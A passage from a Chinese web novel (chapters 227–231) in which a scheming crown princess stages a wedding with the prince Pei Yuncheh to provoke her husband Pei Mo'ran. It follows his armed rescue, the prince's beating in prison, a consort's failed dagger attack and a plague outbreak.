“蛮蛮对我一片真心,我自然不会怀疑你。”他有些着急,连忙矢口否认。 她的眼泪噗噗直冒,滴在他的手背上,“裴郎,我是可以安稳度日的,我有孩子,又是太子妃,可我只想做你的妻子,才不顾礼义廉耻,跟你私奔!你不可以对我不好。” 话都说到这里,裴云澈应该知道怎么做了吧? 她的温热的眼泪落在他的手背上,他的心脏仿佛都被烫到。 他如今一无所有。 父皇放弃了他,母后也成了裴墨染的母后。 全天下不离不弃的,只剩蛮蛮了! “蛮蛮是世上最冰清玉洁的人,你的心意,我必不会辜负。”他一字一顿地承诺。 云清婳有些泄气,裴云澈这个狗贼真是油盐不进! 给她办婚礼,娶她就这么难吗? 只有她成了裴云澈的妻子,裴墨染才会被刺激,然后发疯发狂啊。 但她也明白,这是性情使然! 谁让裴云澈从小就自诩君子,标榜自己光风霁月,温润如玉呢? 她只能下狠手了。 裴云澈丰神俊朗,斯文败类的白切黑气质,的确长在了她的审美点上。 她伸臂勾住他的脖子,唇瓣凑近他的唇,呼吸交缠,炙热的呼吸喷洒在他的脸上,“裴郎,我好想你。” 他跟裴墨染不同,他从小循规蹈矩,以君子自居,生活在古板枯燥的礼教约束里。 她的投怀送抱、孟浪,对裴云澈而言是致命诱惑的毒药,让他甘愿沉沦。 而裴墨染自小在军营中长大,他身边都是豪情、奔放之人,所以在房事上他反而对孟浪的女子颇有微词,更喜欢含蓄害羞的。 裴云澈的心一颤,一股热血直冲上脑,他掐住了她不盈一握的腰肢,唇齿掠夺着她的呼吸。 她的眼中闪过讥诮。 啧,果然是道貌岸然的伪君子,她还没发力就上钩了。 不知吻了多久,裴云澈将她扑在床榻上,吻落在她的脖颈间。 她的身躯轻颤。 忽地,裴云澈停了下来,他找回了理智,怔怔地看着她,愧疚道:“对不住!” 云清婳:??? “蛮蛮,我们不能这样!你是世上最好的女子,我不能随意玷污你,夺你清白。”裴云澈发自内心地说。 云清婳有些无语。 衣物都快脱了,你跟我说这个? 死狗贼还玩起了纯爱? “成亲后,才能洞房。”他的脸红得简直要泣血。 云清婳戳戳他的手背,“何时成亲?” “……”他的唇瓣轻颤。 她红扑扑的面颊染上了淡淡的粉,愠怒道:“裴郎原来没想过娶我,原来是我自作多情了,原来我只是一个无名无分之人。” 裴云澈有些难以启齿,耳根子红透了,“蛮蛮,我看过黄历了,最快,五日后就是好日子。” 这次换云清婳傻眼了。 原来裴云澈比她还着急成婚。 “蛮蛮,你愿意嫁我吗?我如今只是庶出的贤王,处处被裴墨染压制,一无所有。”他小心翼翼地问。 云清婳感动地颔首,含情脉脉道:“我愿意,无论裴郎得势或是落魄,我都会陪在您身边。” 裴云澈冰冷的心得到了慰藉,眼前的人就像冬日里的炭火,这份真情难能可贵,让她铭记于心。 “蛮蛮,你等我!如今只是困顿一时,我必会让你成为全天下最尊贵的女子!”他好似在发誓。 她娇声道:“我相信裴郎。” …… 蜀地。 府衙。 裴墨染收到了探子的来信。 他看后,腾的站起身,取下佩剑就准备走,“蛮蛮在隔壁江城!不能等了!” 这几日,他寝食难安,食不下咽。 他的眼下泛起淡淡的青黑,整个人形容憔悴,像是害了相思病。 一个副将忍不住抱怨:“殿下,您到底怎么了?太子妃好好的,就在府衙,昨晚还包了野菜馄饨,跟之前的味道一模一样!” “吃吃吃!就知道吃!吃死你!”裴墨染暴怒,他一脚踹翻了面前的茶几。 众人吓得连连后退。 “太子妃到底是胖了还是瘦了?还是性情变了?她明明好好的,昨天还帮我补了靴子。”年纪小的副将忍不住叨叨。 诸葛贤剜了他一眼,他鞠了一躬,“殿下,我们暗中观察过了,太子妃跟往常无异。而且江城是裴云澈的地界,万万不能以身犯险,孤身前往啊。” 其他人重重颔首。 裴墨染知道,说是说不通了,他急如星火地往外走,“你们随本宫来!” 第227章 蛮蛮跟裴云澈的婚礼 众人面面相觑,无奈地跟在裴墨染身后。 到了后院,云清婳正坐在凉亭下烹茶。 看见裴墨染带着众人过来,她端庄地笑了。 “夫君跟诸葛先生、将军们有商议?我正好煮了茶水。” 几个副将看迷糊了。 太子妃多好啊,可殿下还不知道珍惜,莫名其妙挑刺! 诸葛贤也不动声色地观察着云清婳。 可看不出任何问题。 他低声道:“殿下,太子妃端庄贤淑,对您一片真情,没有不妥。” 裴墨染烦躁地想要杀人,他们都眼瞎了吗? 他磨了磨后槽牙,黑着脸道:“你今日的发髻好难看。” 聂蓉的脸上出现片刻茫然,但她很快反应过来,嗔怪地看了他一眼,“夫君又戏弄我,我去重梳便是。” 她转身就走。 “殿下,您怎能当众下太子妃面子?太子妃不是很好吗?”一个副将打抱不平。 “这便是问题!”裴墨染低吼,“她应该打本宫的脸!” 众人:??? 他再也忍不住,他跟上去单手扣住聂蓉的肩膀,将她重重摔倒在地。 啊—— 聂蓉吃痛,发出一声痛吟。 裴墨染剑拔出鞘,锋利的寒刃发出银光闪在她的脸上,抵住了她的脖颈,“本宫不愿打女人,可你找死。” “殿下三思啊!”副将大叫。 几个人忙上前拉扯裴墨染,想要夺剑。 诸葛贤的眸色复杂,他眯着眼看了看,没有作声。 “都滚开!”裴墨染的声音冷得骇人,“给你最后一次机会,别逼本宫杀人。” 地上的女子颤抖起来,她伸出手,从耳后扯出一层厚厚的人皮狠狠一撕。 皮下露出一张截然不同的脸。 众人大惊。 “殿下,是贤王让小人做的!小人也是被逼无奈啊。”聂蓉瑟瑟发抖,跪在地上眼泪流个不停。 裴墨染浑身裹挟着戾气,阴恻恻道:“将她带下去,严加看管!” …… 裴云澈在江城筹备着盛大的婚礼。 他给云清婳换了身份,让她成为江城布政使周望舒的小女儿周玉莹。 虽然跟相府嫡女没得比,但成为从二品官员之女,也不算太委屈她。 寝房中,云清婳正在浴桶中沐浴,乳白色的水汽氤氲,蒸腾着她的脸颊,让她通身松快。 没想到裴云澈比想象中更想娶她。 他居然早早就准备了一切。 甚至连喜服的绣样、金花冠的图样都亲自设计,命工匠打造完毕。 听段南天说,裴墨染已经带人往江城赶。 说不定能碰上她的婚礼。 忽的,门被推开。 “蛮蛮!”裴云澈的声音传来,他的语气带着难以抑制的喜悦,“婚鞋的图纸你看过了吗?喜欢哪一双?” “唔……”她发出一声娇呼,似乎被吓到。 裴云澈看到屏风后倒映的虚影,面颊泛红,有些尴尬。 “裴郎把图册给我吧。”她伸出纤细的手。 他的喉结滚了滚,绕过屏风,来到她的背后,看到她白皙细嫩的背脊,他有些口干舌燥。 云清婳并不娇羞,心中坦荡无波。 她冲他勾勾手,他颤抖着将图册递给她。 这几日,他们朝夕相处。 但是从未更进一步。 这正合云清婳的心意,她自始至终都没准备跟裴云澈发生什么。 裴云澈不愿打破礼数,她也不稀罕跟害死姐姐的人缠绵。 “裴郎,我肩膀酸,你帮我捏捏。”她翻看着图册。 “……好。”裴云澈侧过脸去,不敢看她。 手碰触她的肩膀的瞬间,细腻的手感让他好似浸在了羊脂膏里。 云清婳舒服地喟叹:“裴郎,你成婚的事,皇上、皇后知道吗?” “我将周玉莹的身份、籍贯报进宫中,父皇、母后都答应了,已经上了玉碟。”他认真道。 云清婳轻笑。 这就是好孩子的滤镜! 裴云澈从小到大一直循规蹈矩,从未做过离经叛道的事。 所以哪怕他提出要娶京城之外的布政使之女,皇上、皇后想也不想便同意了。 她如今十分期待婚礼,她想知道裴墨染到时候会是什么反应! “那孩子怎么办?”她噘着嘴问。 裴云澈的身子一僵,他俯下身,在她额上亲了亲,“蛮蛮,等等我,到时候我会让孩子回到你身边。” …… 婚期越来越近。 婚礼前夕,云清婳上街采买。 她坐在马车上,被街道上狂乱的马蹄声吓得心尖颤抖。 她正欲掀开小窗上的车帘,车外,一匹马忽然停驻下来,立在车窗外。 “挨家挨户地搜!”裴墨染的声音砸下。 “是!” 云清婳瞪圆了眼。 她没想到裴墨染这么快就赶来了。 她屏息凝神,大气不敢出。 现在可不是发现她的时候,这出戏的高潮部分还没上演呢。 裴墨染似有所觉,阴鸷的视线落在马车上。 “慢着!”他道。 马车缓缓停下。 裴墨染冷声说着,声音带着无尽的压迫,“马车上是何人?” 车夫还不知道裴墨染的身份,他跳下马车,毕恭毕敬道:“回大人,车上坐的是江城布政使的嫡女,我家小姐不便在街上抛头露面。” 裴墨染用剑挑开车帘一角,车内出现一张丫鬟惊恐惨白的脸。 他蹙眉,“冒犯了!你们在前面带路,本宫正要找布政使!” “是!” 云清婳暗暗松了口气。 一路上,裴墨染都在跟副将、诸葛贤讨论如何找人。 跟马车外的裴墨染同行,这刺激程度可想而知。 马车停在了垂花门,云清婳自然不敢下车。 幸好裴墨染直接骑马进府。 她这才得以脱身。 …… 周望舒听闻裴墨染来了,忙不迭出来迎人,笑出满脸褶子,“太子殿下大驾光临,微臣有失远迎。” 裴墨染径自坐在上首,他黑着脸道:“裴云澈呢?” “贤王殿下昨晚便启程回京了。”周望舒恭敬道。 裴墨染的眉眼一跳,他的手缓缓攥紧,咬牙切齿:“快派人去追!” “是。” 裴墨染起身就走,周望舒殷勤讨好地笑道:“殿下,明日小女成亲,不知殿下可否赏脸小坐片刻?” “没空!”他又冷又硬地砸下两字便走了。 人离开后,周望舒露出得逞的笑。 …… 翌日。 布政使府邸分外热闹,张灯结彩,宾客云集。 云清婳穿着正红色百鸟朝凤喜服,头戴金点翠花冠,冠上垂下金流苏,遮住了绝美容颜。 她跟裴云澈各执红绸花的一端,缓缓走进喜堂。 二人相视一笑,神情幸福。 “蛮蛮,你终于属于我了。”裴云澈忽然有些紧张,他甚至能听到自己的心跳。 她觑了他一眼,调侃道:“裴郎今日不害羞了?” 裴云澈忍不住笑了。 高堂的位置上并未坐人,喜婆在旁边喊道:“一拜天地——” “二拜高堂——” 二人只对着天地跪拜。 喜婆扶着云清婳转身,与裴云澈相对而立。 “夫妻对拜——” 喜婆的话音刚落,咻—— 一支箭飞了过来,箭镞穿过他们手中的红绸花,将红绸花射在了地上。 第228章 抢亲 啊—— 宾客尖叫,四处乱窜,桌椅被掀翻,摆设被纷纷绊倒,梁上的红绸花被一剑划破。 四处鸡飞狗跳。 盛大的婚宴成了闹剧,满目疮痍。 裴墨染带着几个侍卫闯了进来。 云清婳受惊般的连连后退,她惊慌失措地看向裴云澈。 “蛮蛮,莫怕。”他的眼神一沉,却好似早在意料之中。 裴墨染提剑大步走进喜堂,剑刃染着淋漓的鲜血。 幸亏他听到路人对话,得知周望舒根本没有什么小女儿,他的大女儿早就嫁人了。 不然他真的会离开江城。 “裴云澈,你可知耻?”他的声音像是从地狱传来,阴森阴鸷,但目光却柔和落在云清婳的脸上。 云清婳目露欣喜,与他对望。 裴墨染,他抢了你的妻子,拜堂成亲,就差圆房了! 这可是奇耻大辱! 你快杀了他啊! 裴云澈气定神闲,仿佛一切掌控在手心,“你闯到本王的地界,简直找死!” 话音刚落,藏在暗处的暗卫源源不断地现身,数量骇人,将裴墨染层层包围。 裴墨染带人跟他们厮杀起来。 他根本不把这些暗卫放在眼里,提剑轻松应对。 其间,他斥道:“裴云澈,蛮蛮最厌恶血腥,你若有心,就该让她避开这些。” 裴云澈抓住云清婳的手腕,欲带她从喜堂后脱身。 他阴狠地下令:“不必留活口!太子殿下擒拿流寇,被山匪所杀,本王自会上书为他请功。” 云清婳回头,担忧地看向裴墨染。 狗男人不会这么没用,眼睁睁地看着裴云澈把她带走吧? 这可跟她料想的不一样! 云清婳被裴云澈带去堂后。 她故意磨叽,跑跑停停,其间还假装踩到裙摆摔倒了两次,“裴郎,怎么办?裴墨染已经找到我们了……” “放心,一切尽在我的股掌之中。”裴云澈的眼中掀起了风暴。 “蛮蛮,我本想与你好好办一场婚礼,没想到裴墨染还是来了,幸亏我早有准备。”他愧疚地看着她。 她摇摇头,“只要能跟裴郎在一起,我什么苦都愿意吃。” 裴云澈眸中水光潋滟,他动容地说:“蛮蛮的情意,我定不辜负。” 他拧开花架上的一只青花瓷瓶,轰隆—— 书架连着墙壁缓缓分开。 云清婳目不转睛地看着,着实惊讶,没想到布政使府邸还有设计这般精巧的密室。 “这是密道,直通城外。”他解释。 墙壁分开的瞬间,裴云澈瞳孔地震,面色苍白。 云清婳也随之一震。 密道内尸横遍地。 接应他们的侍卫全被杀死。 取而代之的是裴墨染的部下。 诸葛贤摇着羽毛扇,朝着他们迎面走来,他皮笑肉不笑,“见过贤王殿下。” 裴云澈的瞳孔骤缩,他一转身,一把锋利的长剑直抵他的咽喉。 他的人全军覆没,血流一地…… “你怎么想的?跟本宫比排兵布阵,玩调虎离山?”裴墨染一脸鄙夷。 裴云澈的眸中染上恨意,除了惊慌他更多却是坦然,“裴墨染,你敢动本王吗?你真以为东宫之位你能坐下去?你怎知你不是本王的挡箭牌?” 裴墨染看着他身上火红的喜袍,怒从心头起,恨不得一剑刺穿他。 差一点! 只差一点就礼成了! 他怎么敢觊觎蛮蛮,跟蛮蛮成婚的? 这是奇耻大辱! 他并不被裴云澈刺激,厉声道:“把他押下去!绑架觊觎太子妃,罪不可恕!” “是!”副将雄赳赳气昂昂地上前。 裴云澈深深看着云清婳,缓缓松开她的手腕,“蛮蛮,不必担心我。” 云清婳:“……” 死狗贼! 别说漏嘴了! “真是下贱!本宫的妻子怎会担心你?”裴墨染叱骂。 裴云澈不甘地瞪他,“别用你们的脏手碰本王!” “请吧。”诸葛贤比出请的手势。 裴云澈一派镇定的自己离开。 云清婳的双眼亮若星子,赞赏地看向裴墨染。 这还是她第一次亲眼见证裴墨染的实力。 不愧是小说男主。 他完全预判了裴云澈的每一步棋。 裴墨染在她面前打了个响指,他挑眉,得意道:“怎么样?你夫君比只会坐而论道的小白脸厉害吧?” 她的眼圈泛起了红,噘着嘴,“肯定是诸葛先生的谋划。” 裴墨染蹙眉,“这明明是我的谋划。” “太子妃,殿下发现贤王拥兵自重、偷养私兵,猜测他可能要造反,查出布政使府藏有密道后,遂吩咐老夫带人捣毁密道,而殿下亲自追寻您的踪迹。”诸葛贤解释。 其他副将颔首。 云清婳扑进他的怀里,眼泪在眼眶打转,“夫君,我怕……” “蛮蛮莫怕。”裴墨染感受到她的身躯轻颤,心脏泛起一片酸涩。 这些日子他夜不能寐,一闭眼,就能看见裴云澈行不轨之事,伤害了她。 一想到这里,他恨不得将裴云澈砍成一滩烂泥。 殷红的血漫了过来,几乎要沾到云清婳的绣花鞋。 裴墨染弯下腰,打横将她抱起来,“走,一切都结束了。” 庭院内,周望舒以及他的爪牙跪了一地。 拥兵自重、暗养私兵一事牵连甚广,从布政使、刺史到县令都为裴云澈提供了便利。 他们瑟瑟发抖,惊恐地看着裴墨染。 “太子殿下!我们也是被逼无奈啊!” “养兵的事,我们根本不知道啊!” “之前西和王造反,贤王只说是防止西和王打过来,为了保护江城百姓,才练兵的啊。” 裴墨染命人将他们押下去,打算带他们去京城等候圣上发落,派亲信暂代布政使之职。 裴云澈私下养的兵,也全被囚禁在原地。 “这个蠢货!居然在江城养兵。”裴墨染被蠢笑了。 人应该待在自己擅长的领域,学他养私兵,裴云澈配吗? 云清婳看着他,“不然呢?贤王管辖江城啊。” “倘若是我,我会养在西北亦或是……肃王府的地下。” 要么养在自己的眼皮子底下,要么养在天高皇帝远的地方。 忽地,裴墨染轻笑,他吻了吻她的鬓角,“是不是吓到了?我说笑呢,我的兵权早就交出去了。” 云清婳脊背发凉。 她知道,裴墨染没有说笑。 太子之位,他从不认为属于自己。 他早就做好了二手准备。 毕竟原著里,他就是养兵造反的。 “蛮蛮今日真好看。”他的脸色骤然阴鸷,“幸亏我来得及时,否则就被裴云澈这下作之人得逞。” 云清婳白了他一眼,“好看吗?我们成亲的时候,夫君才不爱看我呢!还差点被赵婉宁叫走!” 他一哽。 赵婉宁都死了,她怎么又想到赵婉宁了? “成亲那一夜见你,我着实被惊艳到了。我从未见过像蛮蛮这么好看的女子,真的!”他正色解释。 只是当初他被赵婉宁蒙蔽,所以才下意识排斥她。 上了马车,他将她放在软垫上,“蛮蛮,之前都是我对不起你,可是你能不能多想想我的好?” 第229章 有我这样的夫君,你偷着乐吧 你的好? 一大堆侍妾的好吗? 云清婳答非所问,她用手背揩去眼泪,“夫君,你会不会怪我?我被裴云澈掳走,还跟他拜了堂……” 裴墨染心疼不已,他轻拍她的背,“怎会怪你?我只怪自己丢下你,去了粮仓。只是我着实不明白,为何没人看见你被掳走,你当时没呼救吗?” 因为我是自愿跟裴云澈走的啊。 自然不会引起旁人的注意! “当时裴云澈用飞霜性命胁迫,我不敢不从。”她道。 裴墨染心中的疑惑打消,他心疼地揉揉她的脸,“昨日我们在街上相遇,你是被裴云澈的人胁迫了吧?若是我坚持打开马车,就能更快找到你了。蛮蛮,这些日子你受苦了。” 这个破绽,裴墨染自己帮她圆了。 她就知道,只要训狗训得够好,她就算端毒药给他喝,他也只会觉得她被利用了,下毒的另有其人。 “当时马车里的丫鬟看着我,我想给夫君暗示都给不了。”她话锋一转,好奇地问,“裴云澈说留下了一个江湖女术士装作我,夫君是何时发现真相的?” 他的嘴角上扬,语气中带着几分骄傲,“我第一眼就发现了。” 她攥着拳头在他胸口轻捶,“骗人。” “我是认真的,她与你形似神不似,她看向我时,眼神不如你亮,也没有情意。”他道。 云清婳完全可以理解。 打工的时候,哪个牛马的眼睛会发光? 不都是活人微死的状态? 裴墨染继续道:“她扑向我的时候,感觉也不对。” 他凑在她耳边,神秘兮兮地小声道:“蛮蛮丰腴一些。” “裴墨染,你流氓!”她扬起巴掌就要打他。 裴墨染攥住她的手,嬉皮笑脸道:“她这一点最不像你,她不打我。” 她的手伸到他大腿内侧,报复性地掐了一把。 嘶—— 裴墨染吃痛,呻吟了一声,“你抓到哪里了?蛮蛮,你就是个女流氓!把我抓坏了,你以后怎么办?” 他害不害臊? 能不能别说这些乱七八糟的话? 她故意道:“夫君若是真的不舒服,我这就找太医给你看看。” “不必!”他差点弹起身,慌忙抓住她的胳膊。 涉及男性尊严的事可不能传出去! 他可是太子! 云清婳戳戳他的小腹,坏笑道:“有什么好害羞的?” 他自然知道这个小妮子是在揶揄、戏弄他,他怒不可遏,将她按在榻上好一阵折腾。 裴墨染看到云清婳脖颈间的红痕时,身子一僵,眼底翻涌着怒意。 他的指腹来回摩挲她脖颈上晕开红痕的肌肤,像是想把这不属于他的恨意擦除。 之后更是猛烈的掠夺,忘情得恍然不知天地为何物,让人难以招架。 云清婳自然知道裴墨染发狂的原因。 脖颈上的红痕,是她方才偷偷掐的。 就是为了刺激裴墨染,让他憎恨裴云澈! 没办法,不刺激刺激狗男人,他永远不可能痛下杀手! 不知过了多久,马车中的暧昧才消散,云清婳不知是睡着了还是累晕过去。 而裴墨染的双目却炯炯有神,他一顺不顺的盯着云清婳的脖颈。 若是说不在意,那是假的。 滔天的恨意就像是油锅中的油,将他的身心反复煎熬。 裴云澈真该死! 他怎么敢轻薄蛮蛮? 也不知,他有没有做出更过分的举动…… …… 马车行了几日,终于回到了蜀地。 飞霜看见云清婳,迫不及待地扑进她的怀里,“主子呜呜呜……” 她哭天抢地,云清婳也落了泪。 主仆情意让人看了不禁偷偷抹泪。 裴墨染调侃:“真是主仆情深!你家主子被换,旁人也就算了,你竟一点都没发现?” “……”飞霜愧疚地垂下了脑袋。 云清婳瞪了他一眼,“是啊,只有夫君独具慧眼,第一个发现了真相。” “那是自然!”他搂着她的腰肢,“娘子一颦一笑,皆入我心。这叫心有灵犀,有我这样的夫君,你就偷着乐吧。” 她被逗笑了。 狗男人骄傲个什么劲儿? 送云清婳回房后,裴墨染便说有事先走了。 云清婳的心跳骤然加速。 若是没猜错,狗男人是要“报仇”! 他或许会杀了裴云澈! 思及此,她心潮澎湃翻涌,眼眸潮湿。 她立即沐浴更衣,这几日赶路,身上脏得不行。 她给飞霜讲了这些日子的经历。 飞霜咂舌,主子这些日子真是惊心动魄、跌宕起伏。 一会儿在裴云澈面前装情深似海,一会儿又在裴墨染面前演至死不渝。 “主子,殿下会不会因为您脖子上的痕迹,心生介意?”飞霜担心道。 男人爱面子、占有欲强,自己的女人被旁人染指,就算嘴上不说,但心里难免会嫌弃。 云清婳用手指抚过脖颈上淡去的印记,“若是曾经,我会担心。可现在,裴墨染的真心至少被我攻下九分!” 狗男人在手无重兵的情况下,敢带数十人去江城救她,就能看出她在他心中的重要性。 “饥荒时,你用命抢来的食物,难道被别人咬过一口,你就不吃了吗?”她打了个不恰当的比喻。 飞霜摇摇头,“自然不会。” 她妖冶的笑了,“就是这个道理。对了,我被裴云澈带走时,应该没人看见吧?” 飞霜思忖了下,脑中飞快的闪过一个身影,她不确定道:“应该没吧。” …… 裴墨染去监牢的路上,遇见了苏灵音。 她穿着新做的鹅黄色襦裙,梳着堕马髻,头上插着几朵绢花,脸上化着淡妆。 她努力攒出笑,想像初见时那般。 可她眼中的灵动、娇憨早就不复存在,难掩被世事雕琢过的疲惫、沧桑。 裴墨染的桃花眼微眯,其中泄出鄙夷。 蜀地受灾,民不聊生,这个女人却衣着崭新,浑身光鲜亮丽,甚至还化了浓妆,毫无同情、怜悯之心! 他装作没看见,从她身边擦肩而过。 “殿下……”苏灵音的声音颤抖。 她扑身上去,抱着他的腰。 裴墨染像被毒蛇咬了,使劲推开她。 苏灵音的背脊撞到了柱子上,登时脸色惨白,疼得发出一声呻吟,“呃……” “本宫不想再说第二遍,本宫不想看见你。”他一字一顿地警告。 苏灵音的眼中泛起委屈,她报复般胸有成竹道:“殿下,我看见了,我敢拿苏家上下所有人的性命发誓!云清婳不是被裴云澈掳走的!她是自愿跟裴云澈离开的!” 裴墨染在心里翻白眼。 这个女人真是不余遗力、殚精竭虑地挑拨他跟蛮蛮的感情。 幸亏这件事蛮蛮早就跟他说了。 蛮蛮担心裴云澈对飞霜下手,所以才跟着裴云澈离开。 “本宫相信太子妃,你的话,本宫一个字都不会相信!”他继续往前走。 苏灵音一抽一抽地哭道:“殿下,您真的被云清婳骗了!她不值得您对她这么好,她一边吊着您,一边勾引裴云澈!她有问题,她绝对有问题!” 裴墨染猝然转身,声音像是一个耳光狠狠甩了过去,“苏灵音,你怎配诋毁太子妃?倘若再让本宫听见你嘴里不干不净,本宫就拔了你的舌头。” 第230章 不接受我的爱,试试我的恨 苏灵音的眸光颤动,似乎有什么东西破碎了。 她眼中的委屈、难过在一瞬间转化为怨恨。 裴墨染,既然你不接受我的爱,那就试试我的恨吧! 我可是世间罕有的女才子,从小就过目不忘,才华超群,就算苏家的兄长也望尘莫及。 你们凭什么糟蹋我的感情? 凭什么拒绝我的爱? 苏灵音从袖中拿出一把匕首,她的脑袋被仇恨充斥。 她朝着裴墨染的快步跑了过去,手心全是汗,她紧了紧匕首,朝着他的捅去。 匕首距离裴墨染的后腰还剩一寸时,裴墨染抬起右臂,轻轻用上臂肘击她的脸。 “啊……” 苏灵音的脸被击中,鼻子传来剧烈的疼痛,鼻腔里像是被灌了一碗酸醋,窒息、痛感直达天灵感。 她毫无招架之力,跟纸做的似的摔倒在地。 “疼……”她的鼻子血流不止,鼻骨歪了。 啪—— 锋利的匕首掉在了地上。 整个过程,裴墨染都没有转身。 他侧过脸,鄙夷地睨她,“为何你们都这么蠢?” 一个两个都在他面前班门弄斧! 他可是战神,裴云澈在他面前玩兵法,苏灵音在他背后玩刺杀,真是可笑! “苏侧妃患了失心疯,肆意伤人,将她关起来。”他的眼中覆盖着冰霜,没有一丝温度。 侍卫要将苏灵音带走。 她满脸都是眼泪,“你们敢!?我可是皇后娘娘的侄女!” “皇后……”他玩味地呢喃着这两个字,眼中的寒意更甚。 若不是有皇后撑腰,苏灵音敢这么大胆吗? 皇后总是有办法让他失望。 苏灵音的鼻子剧痛,好像快要窒息,浑身酸软乏力,她从未这般疲惫过。 她好想就这样睡着…… 但心中的恨意,让她支撑了下来。 她不能倒下,不能死。 她要查清云清婳的秘密! 她要弄清楚,为何云清婳一边勾搭裴墨染,一边不放过裴云澈。 起初他以为云清婳跟她一样野心勃勃,想要太子妃之位。 可真相绝对没有这么简单! …… 监狱。 裴云澈正襟危坐在稻草床上,他端方雅正,脸上挂着儒雅的笑,好似不是置身于鄙陋的监牢而是高雅的书房。 裴墨染看到他这副道貌岸然的模样,火气更大。 他掳走蛮蛮,逼迫蛮蛮拜堂成亲,甚至轻薄了她…… 不敢想,他究竟还对蛮蛮做了什么。 裴墨染命人打开大门,他的双眼锐利如同鹰隼,面色铁青。 “太子殿下为何这么生气?”裴云澈泰然自若,笑得邪气。 裴墨染捏着拳头一拳砸了上去,“下贱!” 裴云澈的身躯清瘦单薄,他摔在地上,吐出一口血。 他狼狈地坐起身,用手揩去唇边的鲜红,冷笑:“莽夫!你对我滥用私刑?呵……你的太子之位不想要了?” “混账东西!”裴墨染抓住他的衣领,照着他的脸狠狠砸下去。 裴云澈根本没有还手之力,只能任凭他打着。 裴墨染双眼充血,像是杀红了眼,脑中的暴戾在叫嚣,只想把眼前人杀死。 很快裴云澈就鼻青脸肿,脸上青一块紫一块,脸上全是伤痕。 …… 消息传到了寝房。 云清婳正在给裴墨染缝补衣物,她嗤嗤的笑了,“瞧!不逼一逼,裴墨染永远舍不得动手!” “毕竟皇上最宠裴云澈,他若是动手了,太子之位恐怕保不住了。”飞霜早就看清了。 她颔首,“我知道,不急!让裴云澈吃吃苦头也是好的!” 当年,若不是裴云澈谋害了顾将军,姐姐怎会万念俱灰? …… 监牢的动静太大,几个副将都来了。 他们一人抱着裴墨染一臂,着急地劝道:“殿下!不能再打了,他受不住的……” “殿下三思啊!” “殿下,你快把人打废了!皇上会怪罪的!” 裴墨染嘶喊:“裴云澈,本宫早晚会杀了你!” 裴云澈从地上爬起来,肩膀耸动,瘆人的笑了。 笑声绵绵不止,“呵呵呵呵……” “呵呵呵……” “裴墨染,你究竟在恼火什么?你知道蛮蛮心中没你?你知道蛮蛮与我两情相悦?所以在无能狂怒?” 裴墨染挣开了副将的桎梏,一拳又砸了上去,狠狠掐住他的脖子,“混账!你究竟在做什么美梦?你怎敢侮辱蛮蛮?” 裴云澈的咽喉被扼住,脸涨得通红,双目充血,瞳仁扩张,呼吸渐渐微弱起来。 不一会儿,他的脸就涨得发紫。 “殿下,殿下住手啊!会闹出人命的!” “若是杀了裴云澈,皇上定不会容您啊!” 诸葛贤气喘吁吁地跑来,“殿下——” “殿下住手!您想想太子妃跟皇孙啊!” 裴墨染充血的眸子像是恢复了一线的理智,手上的力气渐渐变小,松开了裴云澈。 裴云澈的身子如同重物,难以自控的砸到了地上,就像一只濒死的狗。 “咳咳咳……”他蜷缩在地上咳出了血,嘴边掀起讽刺的笑弧,“蛮蛮不爱你,你杀了我,她也不会爱你,只会更加厌恶你。” 裴墨染鬓角的青筋鼓起,一双手攥拳捏得咔咔作响。 这混账,找死! 裴云澈莫非也得了失心疯?居然幻想蛮蛮心悦他? 副将、诸葛贤心里直打鼓。 能不能别找死啊? 殿下在西北可是徒手打死过母大虫的! 春天还没来呢,怎么有了他这个春竹? 裴墨染已经恢复了理智。 一起经历了这么多风风雨雨,他自然不会怀疑云清婳的真心。 蛮蛮为了他,几次以命相护,为给他诞下一对儿女,险些血崩难产,甚至他的太子之位,都是蛮蛮挺着九个月的身孕跪叩出来的。 倘若他还怀疑蛮蛮跟裴云澈有染,他还是人吗? “裴墨染,你自己无能,不能博得蛮蛮的心,就来找本王发泄?你恐怕不知道吧,蛮蛮与本王……”有过一个孩子。 话还没说出来,诸葛贤就捂住了他的嘴,“贤王若真对太子妃有一丝真情,就不该给太子妃泼脏水,引得太子与太子妃不睦,让太子妃处境艰难。” 诸葛贤对他挤挤眼。 裴云澈如同被梦中惊醒。 他怎么也跟裴墨染这个无脑武夫一般鲁莽,居然口不择言? 倘若说出蛮蛮跟他曾经的一夜荒唐,蛮蛮跟他的纠缠,蛮蛮还有何颜面做人? “裴墨染,本王跟蛮蛮没你想的那么龌龊!没有拜堂,本王万不会与她有夫妻之实!你有什么冲我来,休要迁怒蛮蛮!” 在裴墨染体内翻滚的暴戾像是有了出口,瞬间消了一半。 他庆幸蛮蛮没有受到更深的伤害。 虽然裴云澈没有做到最后一步,但蛮蛮脖子上的痕迹总不是假的。 这个仇,他迟早要报! “裴云澈,你给本宫等着。”他咬牙切齿。 副将跟诸葛贤松了口气。 就在这时,王显气喘吁吁跑来,“殿下!不好了,爆发瘟疫了……” 第231章 你记得谢容音吗? 裴墨染驻守边关多年,各种极端的灾祸都遇到过。 他熟稔地带人将得了瘟疫的百姓封锁在临时搭建的疫所,安排专人熏艾,让身强体壮的士兵每日送吃食。 他忙得忘乎所以,等回过神时,天已经黑了。 府衙中,谢泽修给云清婳送来了一帖药。 二人站在墙角的梅花树下,夜色已深,月亮挂在天边,万籁俱静。 “这是容音的秘方,此药可以预防瘟疫。”他深深地看着她,眼神描摹着她的眉眼。 云清婳痴痴地望着他的脸,眼中泛起了灿烂的星子,她笑道:“多谢表哥。” 谢泽修微不可闻地叹息,他的心隐隐作痛,“蛮蛮,你为何要……” “表哥想问我为何要随裴云澈离开?”她泛起一丝苦笑,“你是知道答案的。” “不!容音怎会忍心看你变成复仇的工具?蛮蛮,你还年轻,你应该有自己的生活。”他望着她。 云清婳自嘲般的笑了声,“表哥,你怎么知道我不喜欢过现在的生活?” 她本就是天生坏种,她最喜欢杀死碍眼的东西了! 姐姐过世后,她终于可以释放天性了。 又能给姐姐报仇,何乐而不为? “你跟太子已有子嗣,你本可以跟太子琴瑟和鸣,不需要这么辛苦。”谢泽修眼神坚定地看着她,“蛮蛮,放下吧,背负仇恨太累了。” “表哥真心觉得裴墨染会爱我一辈子?他现在的确爱我,可十年后,二十年后呢?”云清婳的眼神逐渐变冷。 就连童话故事也只敢写到公主和王子结婚,他凭什么认为封建社会,三妻四妾的裴墨染会永不变心? 年老色衰,色衰而爱驰。 兴许再过十年,出现一个跟她当年一样鲜活的人,他就会被吸引。 